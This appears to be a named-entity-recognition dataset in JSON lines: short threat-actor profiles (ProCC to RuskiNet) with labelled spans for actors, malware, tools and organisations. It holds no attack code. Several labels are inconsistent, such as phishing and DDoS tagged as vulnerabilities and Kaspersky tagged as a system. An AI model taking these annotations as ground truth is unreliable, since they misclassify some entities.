+{"text": "ProCC is a threat actor targeting the hospitality sector with remote access Trojan malware. They use email attachments to exploit vulnerabilities like CVE-2017-0199 and deploy customized versions of RATs such as RevengeRAT, NjRAT, NanoCoreRAT, and 888 RAT. ProCC's malware is capable of collecting data from the clipboard and printer spooler, as well as capturing screenshots on infected machines.", "spans": {"CVE_ID: CVE-2017-0199": [[151, 164]], "THREAT_ACTOR: ProCC": [[0, 5], [257, 262]], "TOOL: NjRAT": [[224, 229]], "MALWARE: 888 RAT": [[248, 255]]}, "info": {"source": "apt_reports", "name": "ProCC"}}
+{"text": "ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods.  Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim.  Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area.  The name, ProjectSauron reflects the fact that the code authors refer to ‘Sauron’ in the Lua scripts.", "spans": {"THREAT_ACTOR: ProjectSauron": [[0, 13], [731, 744], [943, 956]]}, "info": {"source": "apt_reports", "name": "ProjectSauron"}}
+{"text": "Prolific Puma provides an underground link shortening service to criminals. Infoblox states that during analysis, no legitimate content was observed being served through their shortener. For operation they use a registered domain generation algorithm (RDGA), based upon which they registered between 35k-75k domain names.", "spans": {"THREAT_ACTOR: Prolific Puma": [[0, 13]]}, "info": {"source": "apt_reports", "name": "Prolific Puma"}}
+{"text": "PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.", "spans": {"THREAT_ACTOR: PROMETHIUM": [[0, 10]], "TOOL: WinRAR": [[332, 338]], "MALWARE: Truvasys": [[96, 104], [176, 184], [378, 386]]}, "info": {"source": "apt_reports", "name": "PROMETHIUM"}}
+{"text": "PROPHET SPIDER is an eCrime actor, active since at least May 2017, that primarily gains access to victims by compromising vulnerable web servers, which commonly involves leveraging a variety of publicly disclosed vulnerabilities. The adversary has likely functioned as an access broker — handing off access to a third party to deploy ransomware — in multiple instances.", "spans": {"THREAT_ACTOR: PROPHET SPIDER": [[0, 14]]}, "info": {"source": "apt_reports", "name": "Prophet Spider"}}
+{"text": "puNK-003 is a North Korean APT group known for deploying the Lilith RAT, a sophisticated C++ remote access trojan, and its AutoIt variant, CURKON, which functions as a downloader. The group primarily distributes malware through targeted phishing attacks using malicious LNK files. Analysis indicates that puNK-003 shares similarities with the KONNI group, particularly in the use of AutoIt scripts and specific coding functions. Key indicators of infection include unusual network activity and system slowdowns, with removal methods involving specialized antivirus software and manual techniques.", "spans": {"THREAT_ACTOR: puNK-003": [[0, 8], [305, 313]], "VULNERABILITY: phishing": [[237, 245]], "MALWARE: Lilith": [[61, 67]], "MALWARE: KONNI": [[343, 348]]}, "info": {"source": "apt_reports", "name": "puNK-003"}}
+{"text": "PurpleHaze is a China-nexus threat actor tracked by SentinelLABS, linked to APT15, known for targeting critical infrastructure sectors such as telecommunications and government organizations. The actor has been associated with reconnaissance attempts against SentinelOne and has utilized ShadowPad, a modular backdoor platform, for cyberespionage and potential ransomware deployment. Investigations are ongoing to determine overlaps between ShadowPad intrusions and PurpleHaze activity, highlighting the extensive sharing of malware and operational practices among Chinese threat groups. The targeting of third-party service providers has raised significant concerns regarding operational security and supply chain monitoring.", "spans": {"THREAT_ACTOR: PurpleHaze": [[0, 10], [466, 476]], "THREAT_ACTOR: APT15": [[76, 81]], "SYSTEM: SentinelOne": [[259, 270]], "MALWARE: ShadowPad": [[288, 297], [441, 450]]}, "info": {"source": "apt_reports", "name": "PurpleHaze"}}
+{"text": "Dropping Elephant (also known as “Chinastrats” and “Patchwork“) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.", "spans": {"THREAT_ACTOR: Dropping Elephant": [[0, 17]], "VULNERABILITY: spear-phishing": [[315, 329]], "VULNERABILITY: watering hole": [[333, 346]], "VULNERABILITY: phishing": [[321, 329]], "MALWARE: Patchwork": [[52, 61]]}, "info": {"source": "apt_reports", "name": "QUILTED TIGER"}}
+{"text": "R00TK1T is a hacking group known for sophisticated cyber attacks targeting governmental agencies in Malaysia, including data exfiltration from the National Population and Family Development Board. The group has publicized their successful attacks on social media, showcasing stolen data. R00TK1T has also targeted Malaysian telecom providers, defacing portals and potentially breaching user data.", "spans": {"THREAT_ACTOR: R00TK1T": [[0, 7], [288, 295]]}, "info": {"source": "apt_reports", "name": "R00tK1T"}}
+{"text": "RaHDit is a pro-Kremlin hacktivist group known for orchestrating hack-and-leak operations, including the publication of personal information about Ukrainian military intelligence personnel and their associates. The group has been linked to Russian intelligence and has claimed to provide actionable intelligence to the Russian army. RaHDit operates a website called NemeZida, where they disclose sensitive data, and has been involved in disinformation campaigns supporting Russian narratives. Their activities include collaboration with other hacktivist groups and targeting Ukrainian cyberdefense efforts.", "spans": {"THREAT_ACTOR: RaHDit": [[0, 6], [333, 339]]}, "info": {"source": "apt_reports", "name": "RaHDit"}}
+{"text": "The Rancor group’s attacks use two primary malware families which are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit.  Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to Singapore and Cambodia.", "spans": {"THREAT_ACTOR: Rancor": [[4, 10], [255, 261]], "ORGANIZATION: Unit 42": [[217, 224]], "MALWARE: PLAINTEE": [[88, 96], [141, 149]], "MALWARE: DDKONG": [[77, 83], [98, 104]]}, "info": {"source": "apt_reports", "name": "RANCOR"}}
+{"text": "This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.", "spans": {"TOOL: Tor": [[141, 144]]}, "info": {"source": "apt_reports", "name": "RansomHouse"}}
+{"text": "RansomHub is a rapidly growing ransomware group believed to be an updated version of the older Knight ransomware. They have been linked to attacks exploiting the Zerologon vulnerability to gain initial access. RansomHub has attracted former affiliates of the ALPHV ransomware group and operates as a Ransomware-as-a-Service with a unique affiliate prepayment model. The group has been active in extorting victims and leaking sensitive data to pressure for ransom payments.", "spans": {"THREAT_ACTOR: RansomHub": [[0, 9], [210, 219]], "VULNERABILITY: Zerologon": [[162, 171]], "MALWARE: Knight": [[95, 101]], "MALWARE: ALPHV": [[259, 264]]}, "info": {"source": "apt_reports", "name": "RansomHub"}}
+{"text": "Ransomed.VC burst onto the scene with a well-orchestrated PR campaign, encompassing a clearnet site and multiple communication channels including Telegram and Twitter/X profiles. Their operations are heavily inclined towards exploiting GDPR penalties as a method of extortion, threatening victims with potential legal repercussions in case of data leaks.", "spans": {"SYSTEM: Telegram": [[146, 154]]}, "info": {"source": "apt_reports", "name": "RansomVC"}}
+{"text": "Microsoft has tracked Raspberry Typhoon (RADIUM) as the primary threat group targeting nations that ring the South China Sea. Raspberry Typhoon consistently targets government ministries, military entities, and corporate entities connected to critical infrastructure, particularly telecoms. Since January 2023, Raspberry Typhoon has been particularly persistent. When targeting government ministries or infrastructure, Raspberry Typhoon typically conducts intelligence collection and malware execution. In many countries, targets vary from defense and intelligence-related ministries to economic and trade-related ministries", "spans": {"THREAT_ACTOR: Raspberry Typhoon": [[22, 39], [126, 143], [311, 328], [419, 436]], "ORGANIZATION: Microsoft": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Raspberry Typhoon"}}
+{"text": "Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE.  Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time.  RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.", "spans": {"THREAT_ACTOR: RASPITE": [[131, 138], [153, 160], [278, 285], [451, 458], [541, 548], [788, 795]], "THREAT_ACTOR: ALLANITE": [[591, 599]], "SYSTEM: SMB": [[647, 650]], "SYSTEM: Windows": [[686, 693]], "ORGANIZATION: Dragos": [[0, 6]]}, "info": {"source": "apt_reports", "name": "RASPITE"}}
+{"text": "In July 2018, the source code of Pegasus, RATPAK SPIDER’s malware framework, was anonymously leaked. This malware has been linked to the targeting of Russia’s financial sector. Associated malware, Buhtrap, which has been leaked previously, was observed this year in connection with SWC campaigns that also targeted Russian users.", "spans": {"THREAT_ACTOR: RATPAK SPIDER": [[42, 55]]}, "info": {"source": "apt_reports", "name": "RATPAK SPIDER"}}
+{"text": "An actor mainly targeting Pakistan military targets, active since at least 2012. We have low confidence that this malware might be authored by an Indian company. To spread the malware, they use unique implementations to leverage the exploits of known vulnerabilities (such as CVE-2017-11882) and later deploy a Powershell payload in the final stages.", "spans": {"CVE_ID: CVE-2017-11882": [[276, 290]]}, "info": {"source": "apt_reports", "name": "RAZOR TIGER"}}
+{"text": "This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.", "spans": {"TOOL: njRAT": [[342, 347]]}, "info": {"source": "apt_reports", "name": "Rebel Jackal"}}
+{"text": "Reckless Rabbit lures victims into investment scams through malicious Facebook advertisements that lead to fake news articles with embedded web forms for personal information collection. They create domains using RDGA patterns, including random characters and English words, and configure wildcard DNS responses to obscure their active subdomains. The actor employs validation checks to filter out traffic from specific countries, enhancing their operational security. Their investment scam platforms often feature fake endorsements to increase credibility among potential victims.", "spans": {"THREAT_ACTOR: Reckless Rabbit": [[0, 15]], "ORGANIZATION: Facebook": [[70, 78]]}, "info": {"source": "apt_reports", "name": "Reckless Rabbit"}}
+{"text": "RED-LILI is an active threat actor that has been identified by Checkmarx SCS research team. They have been publishing malicious packages on NPM and PyPi platforms, and have recently automated the process of creating NPM users for package publication. The Checkmarx team has detected around 1500 malicious packages associated with RED-LILI and has continuously disclosed their findings to the respective security teams.", "spans": {"THREAT_ACTOR: RED-LILI": [[0, 8], [330, 338]]}, "info": {"source": "apt_reports", "name": "Red-Lili"}}
+{"text": "Recorded Future’s Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.", "spans": {"THREAT_ACTOR: RedAlpha": [[184, 192]], "ORGANIZATION: Recorded Future": [[0, 15]]}, "info": {"source": "apt_reports", "name": "RedAlpha"}}
+{"text": "Likely Chinese state-sponsored threat activity group RedDelta targeting organizations within Europe and Southeast Asia using a customized variant of the PlugX backdoor. Since at least 2019, RedDelta has been consistently active within Southeast Asia, particularly in Myanmar and Vietnam, but has also routinely adapted its targeting in response to global geopolitical events. This is historically evident through the group’s targeting of the Vatican and other Catholic organizations in the lead-up to 2021 talks between Chinese Communist Party (CCP) and Vatican officials, as well as throughout 2022 through the group’s shift towards increased targeting of European government and diplomatic entities following Russia’s invasion of Ukraine.\n\nDuring the 3-month period from September through November 2022, RedDelta has regularly used an infection chain employing malicious shortcut (LNK) files, which trigger a dynamic-link library (DLL) search-order-hijacking execution chain to load consistently updated PlugX versions. Throughout this period, the group repeatedly employed decoy documents specific to government and migration policy within Europe. Of note, we identified a European government department focused on trade communicating with RedDelta command-and-control (C2) infrastructure in early August 2022. This activity commenced on the same day that a RedDelta PlugX sample using this C2 infrastructure and featuring an EU trade-themed decoy document surfaced on public malware repositories. We also identified additional probable victim entities within Myanmar and Vietnam regularly communicating with RedDelta C2 infrastructure.\n\nRedDelta closely overlaps with public industry reporting under the aliases BRONZE PRESIDENT, Mustang Panda, TA416, Red Lich, and HoneyMyte.", "spans": {"THREAT_ACTOR: RedDelta": [[53, 61], [190, 198], [806, 814], [1243, 1251], [1361, 1369], [1612, 1620], [1641, 1649]], "THREAT_ACTOR: Mustang Panda": [[1734, 1747]], "MALWARE: PlugX": [[153, 158], [1006, 1011], [1370, 1375]]}, "info": {"source": "apt_reports", "name": "RedDelta"}}
+{"text": "RedEcho: The group made heavy use of AXIOMATICASYMPTOTE — a term we use to track infrastructure that comprises ShadowPad C2s, which is shared between several Chinese threat activity groups", "spans": {"THREAT_ACTOR: RedEcho": [[0, 7]], "MALWARE: ShadowPad": [[111, 120]]}, "info": {"source": "apt_reports", "name": "RedEcho"}}
+{"text": "Redfly hacked a national electricity grid organization in Asia and maintained persistent access to the network for about six months. Researchers discovered evidence for this attack between 28 February and 3 August 2023 after noticing suspicious malware activity within the organization’s network.", "spans": {"THREAT_ACTOR: Redfly": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Redfly"}}
+{"text": "Recorded Future’s Insikt Group has identified a large cluster of new operational infrastructure associated with use of the custom Windows and Linux backdoor KEYPLUG. We attribute this activity to a threat activity group tracked as RedGolf, which is highly likely to be a Chinese state-sponsored group. RedGolf closely overlaps with threat activity reported in open sources under the aliases APT41/BARIUM and has likely carried out state-sponsored espionage activity in parallel with financially motivated operations for personal gain from at least 2014 onward.", "spans": {"THREAT_ACTOR: RedGolf": [[231, 238], [302, 309]], "THREAT_ACTOR: APT41": [[391, 396]], "SYSTEM: Windows": [[130, 137]], "SYSTEM: Linux": [[142, 147]], "ORGANIZATION: Recorded Future": [[0, 15]], "MALWARE: KEYPLUG": [[157, 164]]}, "info": {"source": "apt_reports", "name": "RedGolf"}}
+{"text": "RedJuliett is a likely Chinese state-sponsored threat actor targeting government, academic, technology, and diplomatic organizations in Taiwan. They exploit vulnerabilities in network edge devices for initial access and use SQL injection and directory traversal exploits against web and SQL applications. The group operates from Fuzhou, China, and aims to support Beijing's intelligence collection on Taiwan's economic and diplomatic relations. RedJuliett has also expanded its operations to compromise organizations in other countries such as Hong Kong, Malaysia, and the United States.", "spans": {"THREAT_ACTOR: RedJuliett": [[0, 10], [445, 455]], "VULNERABILITY: directory traversal": [[242, 261]], "VULNERABILITY: SQL injection": [[224, 237]]}, "info": {"source": "apt_reports", "name": "RedJuliett"}}
+{"text": "RedKitten is a campaign targeting Iranian interests, particularly NGOs and individuals documenting human rights abuses, first observed in January 2026. The malware utilizes GitHub and Google Drive for configuration and payload retrieval, while employing Telegram for command and control. Although precise attribution is challenging, the activity exhibits TTPs associated with Iranian state-sponsored actors and linguistic indicators suggest a Farsi-speaking threat actor. RedKitten is characterized as an AI-accelerated campaign exploiting the humanitarian crisis surrounding Iran’s Dey 1404 protests.", "spans": {"THREAT_ACTOR: RedKitten": [[0, 9], [472, 481]], "SYSTEM: Telegram": [[254, 262]], "SYSTEM: GitHub": [[173, 179]], "ORGANIZATION: Google": [[184, 190]]}, "info": {"source": "apt_reports", "name": "RedKitten"}}
+{"text": "In October 2022, Kaspersky identified an active infection of government, agriculture and transportation organizations located in the Donetsk, Lugansk, and Crimea regions. Although the initial vector of compromise is unclear, the details of the next stage imply the use of spear phishing or similar methods. The victims navigated to a URL pointing to a ZIP archive hosted on a malicious web server.", "spans": {"SYSTEM: Kaspersky": [[17, 26]], "VULNERABILITY: phishing": [[278, 286]], "VULNERABILITY: spear phishing": [[272, 286]]}, "info": {"source": "apt_reports", "name": "RedStinger"}}
+{"text": "Throughout 2019, multiple companies in the Taiwan high-tech ecosystem were victims of an advanced persistent threat (APT) attack. Due to these APT attacks having similar behavior profiles (similar adversarial techniques, tactics, and procedures or TTP) with each other and previously documented cyberattacks, CyCraft assess with high confidence these new attacks were conducted by the same foreign threat actor. During their investigation, they dubbed this threat actor Chimera. “Chimera” stands for the synthesis of hacker tools that they’ve seen the group use, such as the skeleton key malware that contained code extracted from both Dumpert and Mimikatz — hence Chimera. Their operation — the entirety of the new attacks utilizing the Skeleton Key attack (described below) from late 2018 to late 2019, CyCraft have dubbed Operation Skeleton Key.", "spans": {"TOOL: Mimikatz": [[648, 656]], "MALWARE: Chimera": [[470, 477], [480, 487], [665, 672]], "MALWARE: Skeleton Key": [[738, 750], [835, 847]]}, "info": {"source": "apt_reports", "name": "Red Charon"}}
+{"text": "In 2021, PwC started tracking a series of intrusions under the moniker of Red Dev 17 that they assess were highly likely conducted by a China-based threat actor. Their analysis suggests Red Dev 17 has been active since at least 2017. Red Dev 17's observed targets are mainly in India, and include the Indian military, a multinational India-based technology company, and a state energy company. They assess that it is highly probable that the threat actor behind intrusions associated with Red Dev 17 is also responsible for the campaign known in open source as Operation NightScout. Red Dev 17 is a user of the 8.t document weaponisation framework (also known as RoyalRoad), and abuses benign utilities such as Logitech or Windows Defender binaries to sideload and execute Chinoxy or PoisonIvy variants on victim systems. They identified capability and infrastructure links between Red Dev 17 and the threat actor they call Red Hariasa (aka FunnyDream APT), as well as infrastructure overlaps with Red Wendigo (aka Icefog, RedFoxtrot), and with ShadowPad C2 servers. At this time, they do not have sufficient evidence to directly link Red Dev 17 to any of these threat actors. However, They assess with realistic probability that Red Dev 17 operates within a cluster of threat actors that share tools and infrastructure, as well as a strong targeting focus on Southeast Asia and Central Asia.", "spans": {"THREAT_ACTOR: Red Dev 17": [[74, 84], [186, 196], [234, 244], [489, 499], [583, 593], [882, 892], [1135, 1145], [1230, 1240]], "THREAT_ACTOR: FunnyDream": [[941, 951]], "SYSTEM: Windows Defender": [[723, 739]], "SYSTEM: Windows": [[723, 730]], "ORGANIZATION: PwC": [[9, 12]], "MALWARE: RoyalRoad": [[663, 672]], "MALWARE: ShadowPad": [[1045, 1054]], "MALWARE: PoisonIvy": [[784, 793]], "MALWARE: Chinoxy": [[773, 780]]}, "info": {"source": "apt_reports", "name": "Red Dev 17"}}
+{"text": "Since 2021, Red Menshen, a China based threat actor, which has been observed targeting telecommunications providers across the Middle East and Asia, as well as entities in the government, education, and logistics sectors using a custom backdoor referred as BPFDoor. This threat actor uses a variety of tools in its post-exploitation phase. This includes custom variants of the shared tool Mangzamel (including Golang variants), custom variants of Gh0st, and open source tools like Mimikatz and Metasploit to aid in its lateral movement across Windows systems. Also, They have been seen sending commands to BPFDoor victims via Virtual Privat Servers (VPSs) hosted at a well-known provider, and that these VPSs, in turn, are administered via compromised routers based in Taiwan, which the threat actor uses as VPN tunnels. Most Red Menshen activity that has been observed took place between Monday to Friday (with none observed on the weekends), with most communication taking place between 01:00 and 10:00 UTC.131 This pattern suggests a consistent 8 to 9-hour activity window for the threat actor, with realistic probability of it aligning to local working hours.", "spans": {"THREAT_ACTOR: Red Menshen": [[12, 23], [826, 837]], "TOOL: Mimikatz": [[481, 489]], "TOOL: Metasploit": [[494, 504]], "SYSTEM: VPN": [[808, 811]], "SYSTEM: Windows": [[543, 550]], "MALWARE: BPFDoor": [[257, 264], [606, 613]]}, "info": {"source": "apt_reports", "name": "Red Menshen"}}
+{"text": "Red Nue, active since at least 2017, is known for its use of the multi-platform LootRAt backdoor, also known as ReverseWindow. LootRAT has variants for Windows and Macintosh (reported in open source as Demsty), as well as an Android variant known as SpyDealer. Red Nue has also used another Windows backdoor known as WinDealer since at least 2019, when it deployed it to targets as part of a watering hole campaign on a Chinese news website for the Chinese diaspora community. Parts of Asia feature heavily in Red Nue's victimology.", "spans": {"THREAT_ACTOR: Red Nue": [[0, 7], [261, 268], [510, 517]], "SYSTEM: Windows": [[152, 159], [291, 298]], "SYSTEM: Android": [[225, 232]], "VULNERABILITY: watering hole": [[392, 405]], "MALWARE: Demsty": [[202, 208]], "MALWARE: WinDealer": [[317, 326]], "MALWARE: ReverseWindow": [[112, 125]]}, "info": {"source": "apt_reports", "name": "Red Nue"}}
+{"text": "A group monitored as REF2924 by Elastic Security Labs is wielding novel data-stealing malware — an HTTP listener written in C# dubbed Naplistener by the researchers — in attacks against victims operating in southern and southeast Asia.According to a blog post by Elastic senior security research engineer Remco Sprooten, in that region of the world, network-based detection and prevention technologies are the de facto method for securing many environments.", "spans": {"THREAT_ACTOR: REF2924": [[21, 28]], "ORGANIZATION: Elastic": [[32, 39], [263, 270]]}, "info": {"source": "apt_reports", "name": "REF2924"}}
+{"text": "Elastic's security team has published a report on REF5961, a cyber-espionage group they found on the network of a Foreign Affairs Ministry from a member of the Association of Southeast Asian Nations (ASEAN). Elastic says it found the group's tools next to the malware of another cyber-espionage group it tracks as REF2924. REF5961's arsenal includes malware such as EAGERBEE, RUDEBIRD, and DOWNTOWN.", "spans": {"THREAT_ACTOR: REF5961": [[50, 57], [323, 330]], "THREAT_ACTOR: REF2924": [[314, 321]], "ORGANIZATION: Elastic": [[0, 7], [208, 215]]}, "info": {"source": "apt_reports", "name": "REF5961"}}
+{"text": "REF7707 is a cyber campaign targeting government entities, particularly a foreign ministry in South America, utilizing malware families such as FinalDraft, GuidLoader, and PathLoader for persistence and lateral movement. The threat actor employs the Microsoft Graph API for C2 communication, blending malicious traffic with legitimate activity to evade detection. Despite their technical sophistication, REF7707 operators exhibited poor operational security, leading to the exposure of their infrastructure and malware. Their tactics enable the extraction of sensitive data, including passwords and Active Directory information, facilitating ongoing espionage activities.", "spans": {"THREAT_ACTOR: REF7707": [[0, 7], [404, 411]], "SYSTEM: Active Directory": [[599, 615]], "ORGANIZATION: Microsoft": [[250, 259]]}, "info": {"source": "apt_reports", "name": "REF7707"}}
+{"text": "Since the beginning of 2023, ResumeLooters have been able to compromise at least 65 websites. The group employs a variety of simple techniques, including SQL injection and XSS. The threat actor attempted to insert XSS scripts into all available forms, aiming to execute it on the administrators’ device to obtain admin credentials. While the group was able to execute the XSS script on some visitors’ devices with administrative access, allowing ResumeLooters to steal the HTML code of the pages the victims were visiting, Group-IB did not find any confirmation of admin credential thefts.", "spans": {"THREAT_ACTOR: ResumeLooters": [[29, 42], [446, 459]], "ORGANIZATION: Group-IB": [[523, 531]], "VULNERABILITY: SQL injection": [[154, 167]], "VULNERABILITY: XSS": [[172, 175], [214, 217], [372, 375]]}, "info": {"source": "apt_reports", "name": "ResumeLooters"}}
+{"text": "Returned Libra, also known as 8220 Mining Group, is a cloud threat actor group that has been active since at least 2017. Tools commonly employed during their operations are PwnRig or DBUsed which are customized variants of the XMRig Monero mining software. The Returned Libra mining group is believed to have originated from a GitHub fork of the Rocke group's software. Returned Libra has elevated its mining operations with the use of cloud service platform credential scrapping.", "spans": {"THREAT_ACTOR: Returned Libra": [[0, 14], [261, 275], [370, 384]], "THREAT_ACTOR: Rocke": [[346, 351]], "SYSTEM: GitHub": [[327, 333]]}, "info": {"source": "apt_reports", "name": "Returned Libra"}}
+{"text": "RevengeHotels is a targeted cybercrime campaign that has been active since 2015, primarily targeting hotels, hostels, and tourism companies. The threat actor uses remote access Trojan malware to infiltrate hotel front desks and steal credit card data from guests and travelers. The campaign has impacted hotels in multiple countries, including Brazil, Argentina, Chile, and Mexico. The threat actor employs social engineering techniques and sells credentials from infected systems to other cybercriminals for remote access.", "spans": {"THREAT_ACTOR: RevengeHotels": [[0, 13]]}, "info": {"source": "apt_reports", "name": "RevengeHotels"}}
+{"text": "RGB-TEAM is a previously unknown Russian-speaking threat actor. They describe themselves as “a community of anonymous hacktivists fighting for freedom.” The group stated that it doesn’t have enemies in the U.S., Europe, “in the East, or in the West.”", "spans": {"THREAT_ACTOR: RGB-TEAM": [[0, 8]]}, "info": {"source": "apt_reports", "name": "RGB-TEAM"}}
+{"text": "According to Crowdstrike, RIDDLE SPIDER is the operator behind the avaddon ransomware", "spans": {"THREAT_ACTOR: RIDDLE SPIDER": [[26, 39]]}, "info": {"source": "apt_reports", "name": "RIDDLE SPIDER"}}
+{"text": "RipperSec is a pro-Palestinian, likely Malaysian hacktivist group created in June 2023, known for conducting DDoS attacks, data breaches, and defacements primarily targeting government and educational websites, as well as organizations perceived to support Israel. The group has claimed 196 DDoS attacks, with a significant portion directed at Israel, and utilizes a tool called MegaMedusa for their operations. RipperSec operates on Telegram, where it has amassed over 2,000 members, and collaborates with various like-minded hacktivist groups. Their attack strategy relies heavily on community involvement rather than sophisticated infrastructure.", "spans": {"THREAT_ACTOR: RipperSec": [[0, 9], [412, 421]], "SYSTEM: Telegram": [[434, 442]], "VULNERABILITY: DDoS": [[109, 113], [291, 295]]}, "info": {"source": "apt_reports", "name": "RipperSec"}}
+{"text": "According to new research by Kaspersky's GReAT team, the online criminal activities of the Roaming Mantis Group have continued to evolve since they were first discovered in April 2018. As part of their activities, this group hacks into exploitable routers and changes their DNS configuration. This allows the attackers to redirect the router user's traffic to malicious Android apps disguised as Facebook and Chrome or to Apple phishing pages that were used to steal Apple ID credentials.\nRecently, Kaspersky has discovered that this group is testing a new monetization scheme by redirecting iOS users to pages that contain the Coinhive in-browser mining script rather than the normal Apple phishing page. When users are redirected to these pages, they will be shown a blank page in the browser, but their CPU utilization will jump to 90% or higher.", "spans": {"THREAT_ACTOR: Roaming Mantis": [[91, 105]], "SYSTEM: Chrome": [[409, 415]], "SYSTEM: Kaspersky": [[29, 38], [499, 508]], "SYSTEM: iOS": [[592, 595]], "SYSTEM: Android": [[370, 377]], "ORGANIZATION: Apple": [[422, 427], [467, 472], [685, 690]], "ORGANIZATION: Facebook": [[396, 404]], "VULNERABILITY: phishing": [[428, 436], [691, 699]]}, "info": {"source": "apt_reports", "name": "Roaming Mantis"}}
+{"text": "This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability.\nIn late July, we became aware that the same actor was engaged in another similar campaign. Through our investigation into this new campaign, we were able to uncover more details about the actor.", "spans": {"SYSTEM: Git": [[101, 104]], "SYSTEM: Apache": [[174, 180]]}, "info": {"source": "apt_reports", "name": "Rocke"}}
+{"text": "Targets Saudi Arabia, Israel, US, Iran, high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.", "spans": {}, "info": {"source": "apt_reports", "name": "Rocket Kitten"}}
+{"text": "ROMCOM is an evolving and sophisticated threat actor group that has been using the malware tool ROMCOM for espionage and financially motivated attacks. They have targeted organizations in Ukraine and NATO countries, including military personnel, government agencies, and political leaders. The ROMCOM backdoor is capable of stealing sensitive information and deploying other malware, showcasing the group's adaptability and growing sophistication.", "spans": {"THREAT_ACTOR: ROMCOM": [[0, 6], [96, 102], [294, 300]]}, "info": {"source": "apt_reports", "name": "RomCom"}}
+{"text": "There are several groups actively and profitably targeting businesses in Russia. A trend that we have seen unfold before our eyes lately is these cybercriminals’ use of simple backdoors to gain a foothold in their targets’ networks. Once they have this access, a lot of the work is done manually, slowly getting to understand the network layout and deploying custom tools the criminals can use to steal funds from these entities. Some of the groups that best exemplify these trends are Buhtrap, Cobalt and Corkow.\nThe group discussed in this white paper is part of this new trend. We call this new group RTM; it uses custom malware, written in Delphi, that we cover in detail in later sections. The first trace of this tool in our telemetry data dates back to late 2015. The group also makes use of several different modules that they deploy where appropriate to their targets. They are interested in users of remote banking systems (RBS), mainly in Russia and neighboring countries.", "spans": {"THREAT_ACTOR: RTM": [[604, 607]], "THREAT_ACTOR: Cobalt": [[495, 501]]}, "info": {"source": "apt_reports", "name": "RTM"}}
+{"text": "RUBYCARP is a financially-motivated threat actor group likely based in Romania, with a history of at least 10 years of activity. They operate a botnet using public exploits and brute force attacks, communicating via public and private IRC networks. RUBYCARP targets vulnerabilities in frameworks like Laravel and WordPress, as well as conducting phishing operations to steal financial assets. They use a variety of tools, including the Perl Shellbot, for post-exploitation activities and have a diverse set of illicit income streams.", "spans": {"THREAT_ACTOR: RUBYCARP": [[0, 8], [249, 257]], "SYSTEM: WordPress": [[313, 322]], "SYSTEM: Perl": [[436, 440]], "VULNERABILITY: phishing": [[346, 354]], "VULNERABILITY: brute force": [[177, 188]]}, "info": {"source": "apt_reports", "name": "RUBYCARP"}}
+{"text": "Ruby Sleet is a threat actor linked to North Korea's Ministry of State Security. Cerium has been involved in spear-phishing campaigns, compromising devices, and conducting cyberattacks alongside other North Korean threat actors. They have also targeted companies involved in COVID-19 research and vaccine development.", "spans": {"THREAT_ACTOR: Ruby Sleet": [[0, 10]], "SYSTEM: Ruby": [[0, 4]], "VULNERABILITY: spear-phishing": [[109, 123]], "VULNERABILITY: phishing": [[115, 123]]}, "info": {"source": "apt_reports", "name": "Ruby Sleet"}}
+{"text": "RuskiNet is a pro-Russian hacktivist collective associated with disruptive operations including DDoS attacks, website defacements, phishing, and data leaks against government, infrastructure, financial, and civil targets.", "spans": {"THREAT_ACTOR: RuskiNet": [[0, 8]], "VULNERABILITY: DDoS": [[96, 100]], "VULNERABILITY: phishing": [[131, 139]]}, "info": {"source": "apt_reports", "name": "RuskiNet"}}
